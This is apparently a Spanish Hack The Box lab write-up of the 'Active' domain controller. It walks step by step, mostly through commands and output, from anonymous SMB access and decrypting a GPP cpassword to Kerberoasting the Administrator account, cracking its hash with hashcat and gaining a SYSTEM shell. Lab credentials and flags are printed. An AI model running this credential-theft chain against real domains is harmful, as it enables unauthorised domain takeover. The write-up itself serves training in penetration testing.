HackTheBox - Active
Active es un entorno de Active Directory con dos fallos de configuración encadenados que llevan de acceso anónimo a control total del dominio. El punto de entrada es un share SMB accesible sin autenticación que expone un archivo Groups.xml con una contraseña cifrada mediante GPP, un mecanismo que Microsoft deprecó en 2014 precisamente por ser fácilmente reversible. Con las credenciales obtenidas se descubre que la cuenta Administrator tiene un SPN registrado, lo que la convierte en objetivo de Kerberoasting: se solicita su ticket TGS y se crackea offline obteniendo la contraseña y logrando acceso total al dominio.
Reconocimiento
Escaneo de nmap
# Nmap 7.99 scan initiated Fri Jun 12 16:32:22 2026 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 10000 -n -Pn -v -oN scan 10.129.14.227
Nmap scan report for 10.129.14.227
Host is up (0.040s latency).
Not shown: 49895 closed tcp ports (reset), 15618 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-12 20:32:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
49166/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-06-12T20:33:35
|_ start_date: 2026-06-12T20:30:52
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 16:33:43 2026 -- 1 IP address (1 host up) scanned in 81.46 seconds
La combinación de puertos 53 (DNS) + 88 (Kerberos) + 389 (LDAP) + 445 (SMB) confirma que se trata de un Domain Controller. El dominio es active.htb y el sistema operativo es Windows Server 2008 R2 SP1.
┌──(root㉿kali)-[/home/noc/htb/active/nmap]
└─# echo "10.129.14.227 active.htb dc.active.htb" | sudo tee -a /etc/hosts
SMB
Con smbmap enumeramos los recursos compartidos disponibles sin credenciales:
El share Replication es accesible sin credenciales, se puede acceder y descargar todo su contenido:
┌──(root㉿kali)-[/home/noc/htb/active/nmap]
└─# smbclient //active.htb/Replication
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI (0.7 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol (16.8 KiloBytes/sec) (average 4.5 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (3.3 KiloBytes/sec) (average 4.2 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (6.7 KiloBytes/sec) (average 4.6 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (22.4 KiloBytes/sec) (average 7.2 KiloBytes/sec)
┌──(root㉿kali)-[/home/…/htb/active/content/active.htb]
└─# tree
.
├── DfsrPrivate
│ ├── ConflictAndDeleted
│ ├── Deleted
│ └── Installing
├── Policies
│ ├── {31B2F340-016D-11D2-945F-00C04FB984F9}
│ │ ├── GPT.INI
│ │ ├── Group Policy
│ │ │ └── GPE.INI
│ │ ├── MACHINE
│ │ │ ├── Microsoft
│ │ │ │ └── Windows NT
│ │ │ │ └── SecEdit
│ │ │ │ └── GptTmpl.inf
│ │ │ ├── Preferences
│ │ │ │ └── Groups
│ │ │ │ └── Groups.xml
│ │ │ └── Registry.pol
│ │ └── USER
│ └── {6AC1786C-016F-11D2-945F-00C04fB984F9}
│ ├── GPT.INI
│ ├── MACHINE
│ │ └── Microsoft
│ │ └── Windows NT
│ │ └── SecEdit
│ │ └── GptTmpl.inf
│ └── USER
└── scripts
Se descargan varios ficheros de GPO. El más interesante es Groups.xml, en el que se ven userName (SVC_TGS) y cpassword.
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
Las Group Policy Preferences (GPP) permiten a los administradores configurar cuentas locales, mapear unidades y ejecutar scripts mediante GPOs. Cada vez que se crea una GPP, Windows genera un fichero XML en el share SYSVOL con la configuración asociada, incluyendo cualquier contraseña que el administrador haya definido. Para protegerla, Microsoft la cifra con AES-256 y la almacena en el campo cpassword. El problema es que la propia Microsoft publicó la clave de cifrado en su documentación de MSDN, haciendo que cualquier cpassword sea trivialmente reversible con herramientas como gpp-decrypt.
En 2014, Microsoft publicó el parche MS14-025 para impedir que los administradores pudieran seguir guardando contraseñas en GPPs. Sin embargo, el parche no hace nada con las que ya existían — y en la práctica, los pentesters siguen encontrándolas con regularidad en entornos reales años después.
┌──(root㉿kali)-[/home/noc/htb/active/content]
└─# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
Con las credenciales SVC_TGS : GPPstillStandingStrong2k18 se pueden enumerar más shares.
┌──(root㉿kali)-[/home/noc/htb/active/content]
└─# smbclient //active.htb/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sat Jul 21 10:39:20 2018
.. DR 0 Sat Jul 21 10:39:20 2018
Administrator D 0 Mon Jul 16 06:14:21 2018
All Users DHSrn 0 Tue Jul 14 01:06:44 2009
Default DHR 0 Tue Jul 14 02:38:21 2009
Default User DHSrn 0 Tue Jul 14 01:06:44 2009
desktop.ini AHS 174 Tue Jul 14 00:57:55 2009
Public DR 0 Tue Jul 14 00:57:55 2009
SVC_TGS D 0 Sat Jul 21 11:16:32 2018
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
├── Administrator
├── All Users
├── Default
│ ├── AppData
│ │ ├── Local
│ │ │ ├── Application Data
│ │ │ ├── History
│ │ │ ├── Microsoft
│ │ │ │ └── Windows
│ │ │ │ ├── GameExplorer
│ │ │ │ ├── History
│ │ │ │ └── Temporary Internet Files
│ │ │ ├── Temp
│ │ │ └── Temporary Internet Files
│ │ └── Roaming
│ │ └── Microsoft
│ │ ├── Internet Explorer
│ │ │ └── Quick Launch
│ │ │ ├── desktop.ini
│ │ │ ├── Server Manager.lnk
│ │ │ ├── Shows Desktop.lnk
│ │ │ └── Window Switcher.lnk
│ │ └── Windows
│ │ ├── Cookies
│ │ ├── Network Shortcuts
│ │ ├── Printer Shortcuts
│ │ ├── Recent
│ │ ├── SendTo
│ │ │ ├── Compressed (zipped) Folder.ZFSendToTarget
│ │ │ ├── Desktop (create shortcut).DeskLink
│ │ │ ├── Desktop.ini
│ │ │ └── Mail Recipient.MAPIMail
│ │ ├── Start Menu
│ │ │ └── Programs
│ │ │ ├── Accessories
│ │ │ │ ├── Accessibility
│ │ │ │ │ ├── Desktop.ini
│ │ │ │ │ ├── Ease of Access.lnk
│ │ │ │ │ ├── Magnify.lnk
│ │ │ │ │ ├── Narrator.lnk
│ │ │ │ │ └── On-Screen Keyboard.lnk
│ │ │ │ ├── Command Prompt.lnk
│ │ │ │ ├── Desktop.ini
│ │ │ │ ├── Notepad.lnk
│ │ │ │ ├── Run.lnk
│ │ │ │ ├── System Tools
│ │ │ │ │ ├── computer.lnk
│ │ │ │ │ ├── Control Panel.lnk
│ │ │ │ │ └── Desktop.ini
│ │ │ │ └── Windows Explorer.lnk
│ │ │ └── Maintenance
│ │ │ ├── Desktop.ini
│ │ │ └── Help.lnk
│ │ └── Templates
│ ├── Application Data
│ ├── Cookies
│ ├── Desktop
│ ├── Documents
│ │ ├── My Music
│ │ ├── My Pictures
│ │ └── My Videos
│ ├── Downloads
│ ├── Favorites
│ ├── Links
│ ├── Local Settings
│ ├── Music
│ ├── My Documents
│ ├── NetHood
│ ├── NTUSER.DAT
│ ├── NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
│ ├── NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
│ ├── NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
│ ├── NTUSER.DAT.LOG
│ ├── NTUSER.DAT.LOG1
│ ├── NTUSER.DAT.LOG2
│ ├── Pictures
│ ├── PrintHood
│ ├── Recent
│ ├── Saved Games
│ ├── SendTo
│ ├── Start Menu
│ ├── Templates
│ └── Videos
├── Default User
├── desktop.ini
├── Public
└── SVC_TGS
├── Contacts
├── Desktop
│ └── user.txt
├── Downloads
├── Favorites
├── Links
├── My Documents
├── My Music
├── My Pictures
├── My Videos
├── Saved Games
└── Searches
90 directories, 39 files
┌──(root㉿kali)-[/home/noc/htb/active/content]
└─# cat SVC_TGS/Desktop/user.txt
c328c6188f7936518d97ff0649eb6e16
Escalada de Privilegios
Para entender la estructura del dominio y buscar posibles rutas de escalada, recopilamos datos con bloodhound-python:
┌──(root㉿kali)-[/home/noc/htb/active/content]
└─# bloodhound-python -d active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -dc 'dc.active.htb' -c all -ns 10.129.14.227
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: active.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.active.htb
INFO: Testing resolved hostname connectivity dead:beef::2879:5578:89a2:df39
INFO: Trying LDAP connection to dead:beef::2879:5578:89a2:df39
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.active.htb
INFO: Testing resolved hostname connectivity dead:beef::2879:5578:89a2:df39
INFO: Trying LDAP connection to dead:beef::2879:5578:89a2:df39
INFO: Found 5 users
INFO: Found 41 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.active.htb
INFO: Done in 00M 08S
Al importar los datos en BloodHound CE y ejecutar la query Cypher, se identifican dos usuarios con SPN configurado: KRBTGT y ADMINISTRATOR. Con credenciales de dominio válidas y Kerberos activo en el puerto 88, el siguiente paso lógico es evaluar estos SPN (Service Principal Names).
Un SPN es un identificador único que asocia un servicio a una cuenta del dominio. Las cuentas con SPN registrado son especialmente interesantes desde el punto de vista ofensivo por tres razones: suelen ejecutar servicios críticos, frecuentemente tienen privilegios elevados, y Kerberos emite tickets TGS cifrados con el hash NTLM de esa cuenta. Esto significa que cualquier usuario autenticado del dominio puede solicitar ese ticket y crackearlo offline. Este ataque se conoce como Kerberoasting.
Que la cuenta Administrator tenga un SPN directamente es inusual y una mala práctica, los SPNs deberían asignarse a cuentas de servicio dedicadas con contraseñas largas y aleatorias, no a la cuenta de administrador del dominio.
MATCH (u:User {hasspn:true}) RETURN u
Kerberoasting
Con GetUserSPNs.py de Impacket solicitamos el TGS ticket del Administrador:
┌──(root㉿kali)-[/home/noc]
└─# GetUserSPNs.py 'active.htb/SVC_TGS:GPPstillStandingStrong2k18' -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2026-06-12 16:31:54.758945
[-] CCache file is not found. Skipping...
\(krb5tgs\)23\(*Administrator\)ACTIVE.HTB\(active.htb/Administrator*\)984fdc5455ae661cb3894d34af0bb441$7876f552193546fd17e34197e66f931689dc8627cdc269c18d47697132ce19e9d90141fa54e7209cccf8b79ac9a044e1f744cf9f2dd62224ee009429ef8d3fad08cf3ab7f6edc521dfa8c3b83f2af9bbe9607b6eaf2d932be9b1bcc31f5d55292b8c46a1755358fbc5fb99b60113d3102b44d22d9ec87a2bcbc15ef90e5e3b6ab91fae90460012c39251e38faca6c90c97f429767165738d9176ed195b8c207a934bc3b56eeb1a32f864de48f24d280494cdce4ab6c85f9edede5f0db295e962dc1ff6722f74057ee7ac9abeb2b4603f31aa04fc83517ab2f6106e371248b4037a23cb815f772667ec0fe1464839e778b2f18241091d8ed5a91882f3ed43d8fbcfa81f34d296084bf0f51105e7e4738c835a31ed03bb48b1ee6e7e81157b866130bc7619fd97a80fa63b6676652b19b0f55e66cbfcc4daa54ba2be0ef2736f24fabdf68309558e562550b173446f7beafa1811ab6d8933ebf517a4149d2e8f63a94f8358bd7124b4baccb9f47ac447331d44629d7dd169262d0622e6bcd23caa2c9143130ff3555898faf428813befde1723a714277188356530b1d6a5fb87b192101e307e573d375df6d0a0d165e1ca84159644275ce9adffeb753d1594ad6615b068f5d59d53aef045e928f0b29f8430eb91c10f1e2826cc7b0be4412ff2e6e3ed345d5104866ee4d008ea96fedde502b3976a2d79a2bb193d1892037eaa13ca9f9716de3288fd2af19401f4998f6eddcf0f71bb6a14c59b31dc9bd77503b03c6341b8d4464052cd8105b2ee1e62e5423137d6c7cfc23bd2c777f2b601b04be17b5d73d780d1496a6c536fe23b185ca82db42a26bd4766c4845f0071d2528546c4fe0fe5a6ecf8bf45c3413f65b43600e5d38409e0f00599672c080ae14f0d8828ebaaafe38cae87112515bf434fb41010693f073de23792e8bb143711c6d6b1b33c12586b5ea1462086b28b4392d87a93c1e893b7c71a160ba828dfae29c68093795f591462d1faff484ca92fe2cd773b0fcbe547174f9741ffca34d814eaa554daddb00d905b5a1633860e6209c0b6a3d978661b1b8d4d0d06677caa69621b1e6d3fe347bccd5943f0d3db19dd6330742058795244d4c6654946d4c7a364f18e930ddc1e68cda8f43fabcaf1fea39d47dea2e3a26aaf38438d59c6a3eceb258b6473cec7a4a6342ac2d1e4ffcd0ac6d5217816820f99c88cac461b179af2ef9b065ec191a2b34c58573a4485be169cc137416f3798d25b40
El ticket obtenido está cifrado con RC4, con Hashcat con el modo -m 13100:
┌──(root㉿kali)-[/home/noc/htb/active/content]
└─# hashcat -m 13100 hash_Administrator /usr/share/wordlists/rockyou.txt --show
\(krb5tgs\)23\(*Administrator\)ACTIVE.HTB\(active.htb/Administrator*\)984fdc5455ae661cb3894d34af0bb441$7876f552193546fd17e34197e66f931689dc8627cdc269c18d47697132ce19e9d90141fa54e7209cccf8b79ac9a044e1f744cf9f2dd62224ee009429ef8d3fad08cf3ab7f6edc521dfa8c3b83f2af9bbe9607b6eaf2d932be9b1bcc31f5d55292b8c46a1755358fbc5fb99b60113d3102b44d22d9ec87a2bcbc15ef90e5e3b6ab91fae90460012c39251e38faca6c90c97f429767165738d9176ed195b8c207a934bc3b56eeb1a32f864de48f24d280494cdce4ab6c85f9edede5f0db295e962dc1ff6722f74057ee7ac9abeb2b4603f31aa04fc83517ab2f6106e371248b4037a23cb815f772667ec0fe1464839e778b2f18241091d8ed5a91882f3ed43d8fbcfa81f34d296084bf0f51105e7e4738c835a31ed03bb48b1ee6e7e81157b866130bc7619fd97a80fa63b6676652b19b0f55e66cbfcc4daa54ba2be0ef2736f24fabdf68309558e562550b173446f7beafa1811ab6d8933ebf517a4149d2e8f63a94f8358bd7124b4baccb9f47ac447331d44629d7dd169262d0622e6bcd23caa2c9143130ff3555898faf428813befde1723a714277188356530b1d6a5fb87b192101e307e573d375df6d0a0d165e1ca84159644275ce9adffeb753d1594ad6615b068f5d59d53aef045e928f0b29f8430eb91c10f1e2826cc7b0be4412ff2e6e3ed345d5104866ee4d008ea96fedde502b3976a2d79a2bb193d1892037eaa13ca9f9716de3288fd2af19401f4998f6eddcf0f71bb6a14c59b31dc9bd77503b03c6341b8d4464052cd8105b2ee1e62e5423137d6c7cfc23bd2c777f2b601b04be17b5d73d780d1496a6c536fe23b185ca82db42a26bd4766c4845f0071d2528546c4fe0fe5a6ecf8bf45c3413f65b43600e5d38409e0f00599672c080ae14f0d8828ebaaafe38cae87112515bf434fb41010693f073de23792e8bb143711c6d6b1b33c12586b5ea1462086b28b4392d87a93c1e893b7c71a160ba828dfae29c68093795f591462d1faff484ca92fe2cd773b0fcbe547174f9741ffca34d814eaa554daddb00d905b5a1633860e6209c0b6a3d978661b1b8d4d0d06677caa69621b1e6d3fe347bccd5943f0d3db19dd6330742058795244d4c6654946d4c7a364f18e930ddc1e68cda8f43fabcaf1fea39d47dea2e3a26aaf38438d59c6a3eceb258b6473cec7a4a6342ac2d1e4ffcd0ac6d5217816820f99c88cac461b179af2ef9b065ec191a2b34c58573a4485be169cc137416f3798d25b40:Ticketmaster1968
Por último, se puede usar psexec.py para obtener una shell como SYSTEM y leer el root.txt:
C:\Users\Administrator\Desktop> type root.txt
796ffaddceabb697...
